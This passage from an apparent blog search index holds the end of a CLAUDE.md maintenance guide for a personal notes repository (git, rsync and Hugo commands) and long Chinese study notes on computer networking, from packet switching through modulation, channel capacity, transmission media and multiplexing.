Notes 仓库） 设置发布状态： draft: true - 私密/未完成，不发布 draft: false - 发布到博客 提交到 Notes 仓库： cd /Users/hao/Developer/Projects/Notes git add . git commit -m \u0026#34;update: xxx\u0026#34; git push 更新博客子模块： cd /Users/hao/Developer/Projects/sirius2alpha.github.io git add content/posts/Notes git commit -m \u0026#34;update: 同步 Notes\u0026#34; git push 编译部署： ~/bin/hugo --gc --minify # 或使用 blog-commit.sh 脚本 ./blog-commit.sh 🔧 常用维护任务 添加新笔记 放入 0-Inbox/ 暂存 整理到对应 PARA 分类 添加 frontmatter 和标签 在 5-MOC/README.md 中更新索引 提交到 Git 整理收件箱 定期清理 0-Inbox/，将笔记移动到正确的 PARA 分类。\n归档已完成的项目 将 1-Projects/ 中的项目移动到 4-Archive/项目归档/ 更新 5-MOC/ 中的相关索引 修改 frontmatter 添加 #archived 标签 同步 Obsidian 到 Notes 如果使用 Obsidian（iCloud）编辑：\nrsync -av --exclude=\u0026#39;.obsidian\u0026#39; --exclude=\u0026#39;.git\u0026#39; \\ \u0026#34;/Users/hao/Library/Mobile Documents/com~apple~CloudDocs/ObsidianVault/\u0026#34; \\ /Users/hao/Developer/Projects/Notes/ 📍 重要路径 位置 路径 Notes 仓库 /Users/hao/Developer/Projects/Notes Obsidian Vault /Users/hao/Library/Mobile Documents/com~apple~CloudDocs/ObsidianVault Hugo 博客 /Users/hao/Developer/Projects/sirius2alpha.github.io Hugo 可执行文件 ~/bin/hugo 博客子模块 content/posts/Notes ⚠️ 注意事项 不要删除 .obsidian/ 文件夹 - 包含 Obsidian 配置 保持 frontmatter 完整 - Hugo 编译依赖这些元数据 中文文件夹名 - 已使用中文 PARA 文件夹名，保持统一 draft 控制发布 - 只有 draft: false 的笔记会发布到博客 子模块更新 - 修改 Notes 后记得更新博客子模块引用 🆘 常见问题 博客编译失败 检查 Hugo 版本：\n~/bin/hugo version 检查 frontmatter 格式是否正确（YAML 语法）。\n子模块未更新 cd /Users/hao/Developer/Projects/sirius2alpha.github.io git submodule update --init --recursive 笔记同步冲突 优先以 Obsidian Vault（iCloud）为准，rsync 前备份 Notes 仓库。\n📅 维护记录 2026-04-10 - 重构为 PARA 体系结构 本文件由 Claude 生成，用于后续维护指导\n","permalink":"https://sirius2alpha.github.io/posts/notes/claude/","summary":"CLAUDE.md - Notes 知识库维护指南 本文件用于指导 Claude 在后期维护此知识库时的行为。\n📁 知识库结构 (PARA) 本知识库采用 PARA 方法 组织：\n0-Inbox/ # 收件箱 - 临时笔记，待整理 1-Projects/ # 项目 - 当前进行的项目 2-Areas/ # 领域 - 长期维护的技术/责任领域 3-Resources/ # 资源 - 参考资料、速查表 4-Archive/ # 归档 - 已完成的内容 5-MOC/ # 内容地图 - 索引和导航 详细说明 2-Areas/ 技术栈分类：\n工作/数据库开发/ - 当前工作相关（向量索引等） 技术栈/Go/ - Go 语言 技术栈/Redis/ - Redis 技术栈/数据库/ - MySQL, MongoDB, GORM 技术栈/网络与安全/ - 网络安全 技术栈/微服务与分布式/ - gRPC, K8s, Docker 技术栈/机器学习/ - PyTorch 等 个人成长/ - AI 工具、学习方法 4-Archive/ 归档分类：","title":""},{"content":"概述 互联网：专有名词\n互连网：通用网络\n互联网的组成 边缘部分 由所有连接在互联网上的主机组成。这部分是用户直接使用的，用来进行通信（传送数据、音频或视频）和资源共享。\n端系统之间的两种通信方式 客户-服务器方式（C/S）\n客户是服务的请求方，服务器是服务的提供方\n客户软件的特点 被用户调用后运行，在打算通信时主动向远地服务器发起通信（请求服务）。因此，客户程序必须知道服务器程序的地址 不需要特殊的硬件和很复杂的操作系统 服务器软件的特点 一种专门用来提供某种服务的程序，可同时处理多个远地或本地客户的请求 系统启动后即自动调用并一直不断地运行着，被动地等待并接受来自各地的客户的通信请求。因此，服务器程序不需要知道客户程序的地址 一般需要强大的硬件和高级的操作系统支持 对等方式（P2P）\n不区分客户和服务器。\n核心部分 由大量网络和连接这些网络的路由器组成。这部分是为边缘部分提供服务的（提供连通性和交换）\n在网络核心部分起特殊作用的是路由器 (router)。 at Shanghai University\n路由器是实现分组交换 (packet switching) 的关键构件，其任务是转发收到的分组，这是网络核心部分最重要的功能。\n分组交换是网络核心部分最重要的功能\n电路交换 $$N$$ 部电话机两两直接相连，需 $$N(N – 1)/2$$ 对电线。这种直接连接方法所需要的电线对的数量与电话机数量的平方（ $$N^2$$ ）成正比。\n当电话机的数量增多时，就要使用交换机来完成全网的分组任务，这就是电路交换\n特点 电路交换必定是面向连接的 电路交换分为三个阶段： 建立连接：建立一条专用的物理通路，以保证双方通话时所需的通信资源在通信时不会被其他用户占用； 通话：主叫和被叫双方一直占用通信资源； 释放连接：释放刚才使用的这条专用的物理通路（释放刚才占用的所有通信资源） 总结 电路交换用于电话通信系统，两个用户要通信之前需要建立一条专用的物理链路，并且在整个通信过程中始终占用该链路。由于通信的过程中不可能一直在使用传输线路，因此电路交换对线路的利用率很低，往往不到 10%\n分组交换 分组交换采用存储转发技术\n步骤 在发送端，先把较长的报文划分成较短的、固定长度的数据段 每一个数据段前面添加上首部构成分组 (packet) 分组交换网以“分组”（也称为“包”，首部也可称为“包头”）作为数据传输单元，依次把各分组发送到接收端（假定接收端在左边） 接收端收到分组后剥去首部还原成报文 最后，在接收端把收到的数据恢复成为原来的报文。 首部的重要性 每一个分组的首部都含有地址（诸如目的地址和源地址）等控制信息。 分组交换网中的结点交换机根据收到的分组首部中的地址信息，把分组转发到下一个结点交换机。 每个分组在互联网中独立地选择传输路径。（通过路由器） 用这样的存储转发方式，最后分组就能到达最终目的地。 路由器的作用 在路由器中的输入和输出端口之间没有直接连线。 路由器处理分组的过程是： 把收到的分组先放入缓存（暂时存储）； 查找转发表，找出到某个目的地址应从哪个端口转发； 把分组送到适当的端口转发出去。 优点 高效：在分组传输的过程中动态分配传输带宽，对通信链路是逐段占用 灵活：为每一个分组独立地选择最合适的转发路由 迅速：以分组作为传送单位，可以不先建立连接就能向其他主机发送分组。 可靠：保证可靠性的网络协议；分布式多路由的分组交换网，使网络有很好的生存性 缺点 分组在各结点存储转发时需要排队，这就会造成一定的时延。 分组必须携带的首部（里面有必不可少的控制信息）也造成了一定的开销 总结 每个分组都有首部和尾部，包含了源地址和目的地址等控制信息，在同一个传输线路上同时传输多个分组互相不会影响，因此在同一条传输线路上允许同时传输多个分组，也就是说分组交换不需要占用传输线路。\n在一个邮局通信系统中，邮局收到一份邮件之后，先存储下来，然后把相同目的地的邮件一起转发到下一个目的地，这个过程就是存储转发过程，分组交换也使用了存储转发过程。\n报文交换 在 20 世纪 40 年代，电报通信也采用了基于存储转发原理的报文交换 (message switching)。\n报文交换的时延较长，从几分钟到几小时不等。现在报文交换已经很少有人使用了。\n三种交换的比较 核心与边缘 互联网的核心部分是由许多网络和把它们互连起来的路由器组成，而主机处在互联网的边缘部分。 互联网核心部分中的路由器之间一般都用高速链路相连接，而在网络边缘的主机接入到核心部分则通常以相对较低速率的链路相连接。 主机的用途是为用户进行信息处理的，并且可以和其他主机通过网络交换信息。路由器的用途则是用来转发分组的，即进行分组交换的。 计算机网络的分类 按照网络的作用范围进行分类 广域网 WAN (Wide Area Network)：作用范围通常为几十到几千公里（跨越国家），是互联网的核心部分。 城域网 MAN (Metropolitan Area Network)：作用距离约为 5 ~ 50 公里（几个街区甚至整个城市）。 局域网 LAN (Local Area Network) ：局限在较小的范围（如 1 公里左右），校园网或企业网。 个人区域网 PAN (Personal Area Network) ：范围很小，大约在 10 米左右，通过无线技术连接。 按照网络的使用者进行分类 公用网 (public network)\n电信公司建造的大型网络。按 规定交纳费用的人都 可以 使用的 网络。因此也可称为公众网。\n专用网 (private network)\n某个单位 为特殊业务工作的需要而建造的网络 ，例 如军队、铁路、银行、电力等系统。\n用来把用户接入到互联网的网络 接入网 AN (Access Network)\n又称为本地接入网或居民接入网。\n接入网是一类比较特殊的计算机网络 ，用于将用户接入互联网。 只是起到让用户能够与互联网连接的“桥梁”作用。\n使用不同接入网技术，如电话线拨号、宽带\n接入网本身既不属于互联网的核心部分，也不属于互联网的边缘部分。\n接入网是从某个用户端系统到互联网中的第一个路由器（也称为边缘路由器）之间的一种网络。\n从覆盖的范围看，很多接入网还是属于局域网。\n计算机网络的性能 性能指标 速率 连接在计算机网络上的主机在数字信道上传送数据位数的速率，也称为数据率 (data rate) 或比特率 (bit)\n速率的单位是 bit/s ，或 kbit /s 、 Mbit/s 、 Gbit /s 等。例如 $$4 \\times 10^{10} bit/s$$ 的数据率就记为 40 Gbit /s 。\n带宽 带宽 (bandwidth) 用来表示网络中某通道传送数据的能力 。 表示在单位时间内网络中的某信道所能通过的“ 最高数据率 ”。\n更常用的带宽单位是\n千比特每秒 ，即 kb/s (10^3^ b/s ) 兆比特每秒 ，即 Mb/s (10 ^6^ b/s ) 吉比特每秒 ，即 Gb/s (10^9^ b/s ) 太比特每秒 ，即 Tb/s (10^12^ b/s ) 吞吐量 吞吐量 (throughput) 表示在单位时间内通过某个网络（或信道、接口）的数据量，包括进和出\n时延 时延 (delay 或 latency) 是指数据（一个报文或分组，甚至比特）从网络（或链路）的一端传送到另一端所需的时间\n有时也称为延迟或迟延\n网络中的时延由以下几个不同的部分组成\n发送时延\n发送数据时，数据帧从结点进入到传输媒体所需要的时间。\n也就是从发送数据帧的第一个比特算起，到该帧的最后一个比特发送完毕所需的时间。\n发送时延 = 数据帧长度 (bit) / 发送速率（bit/s)\n传播时延\n电磁波在信道中需要传播一定的距离而花费的时间。\n传播时延 = 信道长度（米) / 信号在信道上的传播速率 (米/秒)\n处理时延\n主机或路由器在收到分组时，为处理分组（例如分析首部、提取数据、差错检验或查找路由 ）所花费的时间\n排队时延\n分组在路由器输入、输出队列中排队等待处理所经历的时延。\n排队时延的长短往往取决于网络中当时的通信量。\n队列溢出时，相当于排队时延无限大。\n时延带宽积 链路的时延带宽积又称为以比特为单位的链路长度。\n时延带宽积 = 传播时延 × 带宽\n往返时间 RTT (Round Trip Time)\n往返时间 表示从发送方发送数据开始，到发送方收到来自接收方的确认，总共经历的时间。\n利用率 信道利用率\n指出某信道有百分之几的时间是被利用的（有数据通过）。完全空闲的信道的利用率是零。\n网络利用率\n全网络的信道利用率的加权平均值。\n信道利用率并非越高越好。 当某信道的利用率增大时，该信道引起的时延也就迅速增加 。\n非性能特征 （nonperformance characteristics）\n费用 (cost)\n质量 (quality of service) (QoS)\n标准化\n可靠性 (reliability)\n可扩展性 (scalability)和可升级性 (upgradability)\n易于管理和维护\n计算机网络的体系结构 （协议分层）TCP/IP、OSI、五层\n计算机网络体系结构的形成 开放系统互连基本参考模型 OSI/RM (Open Systems Interconnection Reference Model) Model)，简称为 OSI 。\n法律上的 (de jure) 国际标准 OSI 并没有得到市场的认可，非国际标准 TCP/IP 却获得了最广泛的应用。TCP/IP 常被称为 事实上的 (de facto) 国际标准\n协议与划分层次 网络协议 (network protocol)，简称为协议，是为进行网络中的数据交换而建立的规则、标准或约定。\n网络协议的三个组成要素 语法： 数据与控制信息的结构或格式 。 语义： 需要发出何种控制信息，完成何种动作以及做出何种响应。 同步： 事件实现顺序的详细说明。 层次式协议结构 划分层次的概念举例：主机 1 向主机 2 通过网络发送文件。\n分层的优劣\n优点\n各层之间是独立的。 灵活性好。 结构上可分割开。 易于实现和维护。 能促进标准化工作。 缺点\n降低效率 有些功能会在不同的层次中重复出现，因而产生了额外开销 。 层数控制\n层数太少，就会使每一层的协议太复杂。\n层数太多，又会在描述和综合各层功能的系统工程任务时遇到较多的困难。\n各层完成的主要功能\n差错控制：使相应层次对等方的通信更加可靠。 流量控制：发送端的发送速率必须使接收端来得及接收，不要太快。 分段和重装：发送端将要发送的数据块划分为更小的单位，在接收端将其还原。 复用和分用：发送端几个高层会话复用一条低层的连接，在接收端再进行分用。 连接建立和释放：交换数据前先建立一条逻辑连接，数据传送结束后释放连接。 计算机网络的体系结构 计算机网络的体系结构 (architecture) 是计算机网络的各层及其协议的集合。\n体系结构就是这个计算机网络及其部件 所应完成的功能的精确定义。\n实现 (implementation) 是遵循这种体系结构的前提下用何种硬件或软件完成这些功能的问题。\n体系结构是抽象的，而实现则是具体的，是真正在运行的计算机硬件和软件。\n具有五层协议的体系结构 采取折中的办法，即综合 OSI 和 TCP/IP 的优点，采用一种只有五层协议的体系结构\n应用层 (application layer) 通过应用进程间的交互来完成特定网络应用\n域名系统 DNS ，万维网 HTTP 协议，电子邮件 SMTP 协议\n运输层 (transport layer) 向两台主机中进程之间的通信提供通用的数据传输服务\n传输控制协议 TCP 、用户数据报协议 UDP\n网络层 (network layer) 为分组交换网上的不同主机提供通信服务；选择合适的路由\n网际协议 IP 和路由选择协议\n数据链路层 (data link layer) 两个相邻节点之间传送数据\n物理层 (physical layer) 传输数据单位为比特，要考虑多大的电压代表 1 或 0\n不包含物理媒介\n实体、协议、服务和服务访问点 实体 (entity) 表示任何可发送或接收信息的硬件或软件进程。\n协议是控制两个对等实体进行通信的规则的集合。\n语法规则定义了信息的格式，语义规则定义了发送者或接收者所要完成的操作\n在协议的控制下，两个对等实体间的通信使得本层能够向上一层提供服务。\n要实现本层协议，还需要使用下层所提供的服务\n协议和服务的关系 协议的实现保证了能够向上一层提供服务 。\n本层的服务用户只能看见服务而无法看见下面的协议。即下面的协议对上面的服务用户是透明的。\n协议 是 “水平的 ”，即协议是控制对等实体之间通信的规则。\n服务 是 “垂直的 ”，即服务是由下层向上层通过层间接口提供的。\n上层使用下层提供的服务必须通过服务原语。\n服务访问点 同一系统相邻两层的实体进行交互的地方，称为服务访问点 SAP (Service Access Point) 。\n服务访问点 SAP 是一个抽象的概念，它实际上就是一个逻辑接口 。\nOSI 把层与层之间交换的数据的单位称为服务数据单元 SDU (Service Data)。\nTCP/IP 的体系结构 它只有四层，相当于五层协议中数据链路层和物理层合并为网络接口层。\nTCP/IP 体系结构不严格遵循 OSI 分层概念，应用层可能会直接使用 IP 层或者网络接口层\n沙漏型协议族 IP over everything\n物理层 物理层的基本概念 物理层考虑的是怎样才能在连接计算机的各种传输媒体上传输数据比特流，而不是指具体的传输媒体。\n物理层的作用是要尽可能地屏蔽掉不同传输媒体和通信手段的差异 ，使数据链路层感觉不到这些差异。\n用于物理层的协议也常称为物理层规程（procedure）\n主要任务 确定与传输媒体接口的一些特性\n机械特性：指明接口所用接线器的形状和尺寸、引线数目和排列、固定和锁定装置等。\n电气特性：指明在接口电缆的各条线上出现的电压的范围。\n功能特性：指明某条线上出现的某一电平的电压表示何种意义。\n过程特性：指明对于不同功能的各种可能事件的出现顺序。\n数据通信的基础知识 数据通信系统的模型 组成 源系统\n源点（信源）：源点设备产生要传输的数据，例如计算机键盘输入汉字通过计算机产生输出的数字比特流。 发送器：数字比特流要经过发送器编码后才能在传输系统中传输。例如：调制器 传输系统\n传输系统可以是传输线，也可以是复杂的网络系统。\n目的系统\n终点（信宿）：终点设备将数字比特流转换成信息输出，例如把汉字显示在屏幕上。 接收器：接收器把来自传输线路上的模拟信号进行解调，还原出数字比特流。例如：解调器 术语 数据 (data)：运送消息（话音、文字、图像等）的实体。 信号 (signal)：数据的电气的或电磁的表现 。 数据 在信道中以电信号的形式传送，电信号分为：模拟信号和数字信号。 模拟信号 (analogous)：代表消息的参数的取值是连续的 数字信号 (digital signal)：代表消息的参数的取值是离散的。 码元 (code)：在使用时间域（或简称为时域）的波形表示数字信号时，代表不同离散数值的基本波形。 使用二进制编码时，只有两种不同的码元（代表 0 和 1） 调制：把数字信号转换为模拟信号的过程 。 解调：把模拟信号转换为数字信号的过程。 模拟信号与数字信号 模拟数据、模拟信号\n最早的电话系统\n模拟数据、数字信号\n模拟数据数字化后，可以使用先进的数字传输和交换设备，如现代的电话系统。\n数字数据、模拟信号\n有些传输媒体只适合传输模拟信号，如光纤和无线信道。\n数字数据、数字信号\n数字数据编码成数字信号的设备，比起数字到模拟设备更简单、更廉价。\n信道 信道 ( channel )：一般用来表示向某一个方向传送信息的媒体。一条通信电路往往包含发送信道和接收信道。\n信道类型\n单向通信（单工通信）：只能有一个方向的通信而没有反方向的交互。例：无线电广播 双向交替通信（半双工通信）：通信的双方都可以发送信息，但不能双方同时发送，当然也就不能同时接收 。 双向同时通信（全双工通信）：通信的双方可以同时发送和接收信息。 在计算机提供的二进制数字信号与电话网提供的模拟信号之间进行转换，这类技术统称为调制解调技术。\n基带信号 （即基本频带信号）：来自信源的信号，就是将数字信号 1 或 0 直接用两种不同的电压来表示，然后送到线路上去传输基带信号\n计算机输出的信号通常为基带信号 基带信号往往包含有较多的低频成分，甚至有直流成分，而许多信道并不能传输这种低频分量或直流分量。因此必须对基带信号进调行调制（modulation） 调制类型\n基带调制：仅对基带信号的波形进行变换，使它能够与信道特性相适应。变换后的信号仍然是基带信号。把这种过程称为编码(coding） 带通调制：使用载波 (carrier) 进行调制，把基带信号的频率范围搬移到较高的频段，并转换为模拟信号，这样就能够更好地在模拟信道中传输（即仅在一段频率范围内能够通过信道） 。 带通信号：经过载波调制后的信号。 数字信号编码（基带调制） 基带调制技术（从数字到数字信号，变换后的信号仍然是基带信号）\n常用编码方式 不归零码：正电平代表 1，负电平代表 0 。 在一个码元的全部时间内，电压保持恒定 频率低 连续发送多个“ 1” 码或“ 0” 码时，码元之间没有间隙，不容易区分 NRZI 编码\n（Non-Return-to-Zero Inverted Code）和 NRZ 的区别就是 NRZI 用信号的翻转代表一个逻辑，信号保持不变代表另外一个逻辑。\n归零码：正脉冲代表 1，负脉冲代表 0，有跳变\n在一个码元的全部时间内，非零电压的持续时间小于一个码元的时间 在一个码元的后半部分时间内，电压总是归于零的 好处：解决了不归零码在连续发送“ 1” 码或“ 0” 码不容易区分的问题 缺点：跳变次数过多，携带的数据量相对较少 曼彻斯特编码 位周期中心的向上跳变代表 0 ，位周期中心的向下跳变代表 1 也可反过来定义。 差分曼彻斯特编码 在每一位的中心处始终都有跳变。 利用每个码元的开始时有无跳变来表示“ 0” 或“ 1” 。 位开始边界有跳变代表 0 ，没有跳变代表 1 编码方式比较 从信号波形中可以看出，曼彻斯特编码和差分曼彻斯特编码产生的信号频率比不归零制高。\n从自同步能力来看，不归零制不能从信号波形本身中提取信号时钟频率，这叫作没有自同步能力， 而曼彻斯特编码和差分曼彻斯特编码 具有自同步能力 。\n数字调制技术 带通调制方法（数字信号到模拟信号）\n二元制调制方法 选取一个适合于在线路上传输的正弦波作为载波，让载波的某些特性（ 幅度、频率、相位随基带信号的变化而变化（即波形变换）。\n最基本的二元制调制方法有以下几种：\n1. 调幅 (AM) 载波的 振幅 随基带数字信号而变化。\n实现起来简单 , 但抗干扰性能差 极端情况：0 不波动，1 波动 2. 调频 (FM) 载波的 频率 随基带数字信号而变化。\n抗干扰性能好 , 但占用带宽较大 3. 调相 (PM) 载波的 初始相位 随基带数字信号而变化。\n抗干扰性能最好，且相位的变化也可以同步发送器和接收器的时钟 绝对 PM 与相对 PM 用载波的相位绝对值或变化来表示数据。 绝对调相： 0 对应相位 “0”，1 对应相位 “180” 。 相对调相：发送的信号与前一个信号同相（相位不发生变化），则表示 “0”；发送的信号与前一个信号反相（相位发生变化），则表示 “1” 。（0 则一致，1 则反相） 注意：检测相位变化比检测相位值要容易。 多元制混合调制方法 上面几种调制方式，一个码元仅包含 2 个状态（两种振幅、频率、相位），即 1 个码元携带 1bit 信息\n多元制混合调制方法可以获得更高的信息传输速率，让 1 个码元携带多位比特信息\n正交振幅调制（QAM） (Quadrature Amplitude Modulation）\n例如：\n可供选择的相位有 12 种，而对于每一种相位有 1 或 2 种振幅可供选择。总共有 16 种组合，即 16 个码元。 由于 4bit 编码共有 16 种不同的组合，因此这 16 个点中的每个点可对应于一种 4 bit 的编码。数据传输率可提高 4 倍 注意：不是码元越多越好。若每一个码元可表示的比特数越多，则在接收端进行解调时要正确识别每一种状态就越困难，出错率增加 脉冲编码调制（PCM） (Pulse Code Modulation)\n话音、图像等模拟信号在时间上和取值上都是连续的，对其进行数字信号编码 ，是将其转换成一系列在时间和取值上都是离散的 二进制数码脉冲。最常用的编码方法就是 PCM 现在的数字传输系统均采用脉码调制 PCM 体制 。 PCM 包括三个主要步骤（将模拟信号转换为数字信号的过程）：采样 -\u0026gt; 量化 -\u0026gt; 编码 采样 实现时间上的离散化\n每隔一定时间间隔 , 取模拟信号的当前值作为样本，该样本代表了模拟信号在某一时刻的瞬时值\n采样频率需远高于信号频率\n采样的依据：奈奎斯特 (Nyquist) 采样定理\n量化 是使采样值在取值上离散化\n抽样信号虽然是时间轴上离散的信号，但仍然是模拟信号，其取值是连续值, 必须量化为离散值。\n具体做法是：将原始信号的取值范围划分为若干个等级，将每个采样值“取整”到离它最近的一个等级上\n量化后的抽样信号与量化前的抽样信号相比较，当然有所失真，表现为噪声\n离散值的个数（等级划分）决定了量化的精度。\n我国电话信号的 PCM 体制中，量化等级为 256，即 8 位。\n编码 将量化后的采样值用一定位数的二进制数码来表示\n编码的位数和量化的级数有关，若量化级数为 N ，则每个采样值就可以编码成 Log 2 N 为的二进制码。\n我国的 PCM 体制的编码位数为 8 ，即每个脉冲信号编码为 8bit 信息，由于每秒 8000 个脉冲，话音的标准编码速率为 64Kb/s 。\n通信的极限容量 任何实际的信道都不是理想的，在传输信号时会产生各种失真以及带来多种干扰。\n码元传输速率越高，或信号传输距离越远，或噪声干扰越大，或传输媒体质量越差在信道的输出端的波形的失真就越严重。\n限制码元在信道上的传输速率的因素有以下两个\n信道能够通过的频率范围 信噪比 信道能够通过的频率范围 具体的信道所能通过的频率范围（信道的带宽 Hz ）总是有限的。信号中的许多高频分量往往不能通过信道\n理想低通信道 ：信号的所有低频分量，只要频率不超过某个上限，都能够不失真地通过信道。 理想带通信道 ：信号的频率在某个范围之间的频率分量能够不失真地通过信道，其它分量不能通过。 奈氏（Nyquist）准则 奈奎斯特给出了在假定的理想条件下，为了避免码间串扰，码元的传输速率的上限值。\n理想低通信道的最高码元传输速率 = 2W Baud\nW 是理想低通信道的带宽，单位为赫 (Hz) 公式含义：每赫带宽的理想低通信道的最高码元传输速率是每秒 2W 个码元 Baud 是波特，是码元传输速率的单位，1 波特为每秒传送 1 个码元 （即，码元 / 秒） 理想带通特性信道的最高码元传输速率 = W Baud（基本不考）\n结论 在任何信道中，码元传输的速率是有上限的， 否则就会出现码间串扰的问题，使接收端对码元的判决（即识别）成为不可能\n如果信道的频带越宽，也就是能够通过的信号高频分量越多，那么就可以用更高的速率传送码元而不出现码间串扰。\n比特率与波特率（重要） 比特率 S：数据传输速率，单位 “比特 / 秒”\n波特率 B：码元传输速率，单位 “码元 / 秒”\n若码元的状态数为 2 时，比特率 = 波特率（即每秒钟传输的二进制位数等于每秒钟传输码元数）\n若码元的状态数为 4 时，四种状态分别表示为 “00” ”01” “10” ”11” 。则一个码元可以携带两位二进制数，此时比特率 = 2 * 波特率。\n若 1 个码元携带 n bit 的信息量， M Baud 的码元传输速率所对应的信息传输速率为 M × n b/s\n公式 $$ S=B*log_2M $$\n信噪比 噪声存在于所有的电子设备和通信信道中。\n噪声是随机产生的，它的瞬时值有时会很大。因此噪声会使接收端对码元的判决产生错误 。\n但噪声的影响是相对的 。 如果信号相对较强，那么噪声的影响就相对较小。\n信噪比公式 信噪比就是信号的平均功率和噪声的平均功率之比 。常记为 S / N ，并用 分贝 (dB) 作为度量单位。即： $$ 信噪比 \\ (dB) = 10 \\log_{10}(S/N) \\ (dB) $$ 例如，当 S / N = 10 时，信噪比为 10dB ，而当 S / N = 1000 时，信噪比为 30dB 。\n香农公式 信道的极限信息传输速率 C 可表达为 $$ C=W\\log_2(1+S/N) \\ (bits/s) $$ 其中\nW 为信道的带宽 ，以 Hz 为单位\nS 为信道内所传信号的平均功率；\nN 为信道内部的高斯噪声功率。\nS/N 不带单位！\n结论 信道的带宽或信道中的信噪比越大，则信息的极限传输速率就越高。\n只要信息传输速率低于信道的极限信息传输速率，就一定可以找到某种办法来实现无差错的传输。\n若信道带宽 W 或信噪比 S/N 没有上限（当然实际信道不可能是这样的），则信道的极限信息传输速率 C 也就没有上限。\n实际信道上能够达到的信息传输速率要比香农的极限传输速率低不少。\n对于频带宽度已确定的信道，如果信噪比不能再提高了，并且码元传输速率也达到了上限值，那么还有办法提高信息的传输速率。这就是： 用编码的方法让每一个码元携带更多比特的信息量。\n物理层下面的传输媒体 传输媒体也称为传输介质或传输媒介， 它就是数据传输系统中在发送器和接收器之间的物理通路 。\n传输媒体可分为两大类\n导引型传输媒体：电磁波被导引沿着固体媒体（铜线或光纤）传播 。 非导引型传输媒体：自由空间中传播，电磁波的传输常称为无线传输。 频谱\n导引型传输媒体 双绞线 古老但最常用的传输媒体 。\n电话系统使用的就是双绞线。\n绞合可减少对相邻双绞线的电磁干扰。\n模拟传输和数字传输都可以使用双绞线，其通信距离一般为几到十几公里。\n带宽依赖于线的粗细和传输距离\n分类 屏蔽双绞线 STP (Shielded Twisted Pair)：带金属屏蔽层 无屏蔽双绞线 UTP (Unshielded Twisted Pair) 标准 EIA/TIA 568 A 。 此标准规定了 5 个种类的 UTP 标准 （从 1 类线到 5 类线）。\n对传送数据来说，现在最常用的 UTP 是 5 类线（Category 5 或 CAT5）\n同轴电缆 同轴电缆具有很好的抗干扰特性，被广泛用于传输较高速率的数据 。\n同轴电缆的带宽取决于电缆的质量\n分类 基带同轴电缆\n局域网发展初期常用\n宽带同轴电缆\n有线电视常用\n光缆 光纤是光纤通信的传输媒体。\n光纤 由非常透明的石英玻璃拉成细丝，主要由纤芯和薄层构成双层通信圆柱体，纤芯很细直径只有 8 至 100um ，纤芯和包层具有不同的折射系数。\n由于可见光的频率非常高，约为 10 8 MHz 的量级，因此一个光纤通信系统的传输带宽远远大于目前其他各种传输媒体的带宽\n工作原理 光线在纤芯中传输的方式是不断地全反射\n只要从纤芯中射到纤芯表面的光线的入射角大于某个临界角度，就可产生全反射 。\n分类 多模光纤\n可以存在多条不同角度入射的光线在一条光纤中传输。这种光纤就称为多模光纤\n传输中光脉冲会逐渐展宽，造成失真，适合短距离传输\n单模光纤\n若光纤的直径减小到只有一个光的波长，则光纤就像一根波导那样，它可使光线一直向前传播，而不会产生多次反射。这样的光纤称为单模光纤\n使用昂贵的半导体激光源，光脉冲的衰耗小，适合长距离传输\n优点 通信容量非常大 。\n传输损耗小，中继距离长。\n抗雷电和电磁干扰性能好。\n无串音干扰，保密性好。\n体积小，重量轻。\n光纤通信中使用的光波的波段 常用的三个波段的中心分别位于 850 nm （多模）1300 nm（多模和单模）和 1550 nm（单模）。\n所有这三个波段都具有 25000~30000 GHz 的带宽， 可见光纤的通信容量非常大 。\n非引导型传输媒体 将自由空间称为“非导引型传输媒体”。\n无线传输所使用的频段很广。\n分类 短波通信 （即高频通信） 主要是靠电离层的反射，但短波信道的通信质量较差，传输速率低。 微波通信 由于地球表面的弯曲，信号的直线传输有限，需要建微波中继站。 地面微波接力通信 卫星通信 无线局域网使用的 ISM 频段 要使用某一段无线电频谱进行通信，通常必须得到本国政府有关无线电频谱管理机构的许可证。但是，也有一些无线电频段是可自由使用的，正好满足计算机 无线局域网 的需求。例如： ISM（工业、科学、医学）频段。\n信道复用技术 复用 (multiplexing) 是将多路信号组合在一条物理信道上进行传输，在接收端再将各路信号分离开来，提高通信线路的利用率。\n频分复用 FDM (Frequency Division Multiplexing)\n将整个带宽分为多份，用户在分配到一定的频带后，在通信过程中自始至终都占用这个频带。\n频分复用的所有用户在同样的时间占用不同的带宽资源 （请注意，这里的“带宽”是频率带宽而不是数据的发送速率）\n例：ADSL 技术 （非对称数字用户线路）\n利用现有电话线 实际带宽 1.1 MHz) 实现宽带网络连接\n非对称（Asymmetric）的含义：下行速率大于上行\n时分复用 TDM (Time Division Multiplexing)\n时分复用的所有用户是在不同的时间占用同样的频带宽度。\n用户轮流使用\n同步 TDM （普通 TDM）\n是将时间划分为一段段等长的时分复用帧（TDM 帧），每个用户占用的时隙周期性出现。\n即：信号源与时隙序号固定，即同步 。\n时间片的分配事先约定，且固定不变。 优点：控制简单，接收设备根据预约的时间片分配方案，将收到的数据分发到不同的输出线路上。 缺点：当某个信号源没有数据时，仍然占用时间片，不能充分利用信道。 造成线路资源的浪费 异步 TDM （统计时分复用 STDM）\n时间片按需分配，需要发送数据的信号源提出申请，才能获得时间片。\n即：公共信道的时隙实行 “按需分配”，对那些需要传送信息或正在工作的终端（信号源）才分配时隙，可以使得所有时隙都能够饱满地得到使用，可以使得服务的终端数大于时隙的个数，提高信道的利用率\n特点：可以充分利用信道，但控制比较复杂 。\n例 电话系统中为了有效地利用传输线路，可将多个话路的 PCM 信号用时分复用 TDM (Time Division Multiplexing) 的方法装成时分复用帧，然后发送到线路上。 北美体制： 用于北美和日本的电话系统 T1 信号（1.544 Mbps） 欧洲体制： 我国电信部门使用的 E1 传输系统（2.048 Mbps） 波分复用 （Wavelength Division Multiplexing）\n同 FDM 类似，主要用于光纤通信中； 波分复用就是光的频分复用 。\n不同的信号源使用不同频率（波长）的光波来传输数据，各路光经过一个棱镜（或衍射光栅），合成一个光束在光纤上传输；在接收端再将各路光波分开。\n密集波分复用 DWDM（Dense WDM ）：技术的发展一根光纤上复用的光载波信息路数越来越多，例如 80 或更多路数。\n码分复用 （Code Division Multiplexing）\n常用的名词是码分多址 CDMA (Code Division Multiple Access)\n每个用户在同样的时间使用同样的频带 进行通信。\n各用户使用经过特殊挑选的不同码型 ，因此彼此不会造成干扰。\n这种系统发送的信号有很强的抗干扰能力，其频谱类似于白噪声，不易被敌人发现。\n特别在无线局域网中，采用 CDMA 可提高话音质量、数据传输可靠性、增大通信系统容量（是 GSM 的 4、5倍），降低手机的平均发射功率。\n码片序列 （chip sequence）\n每一个比特时间划分为 m 个短的间隔，称为码片（chip）。设 m = 8\n每个站被指派一个唯一 的 m bit 码片序列 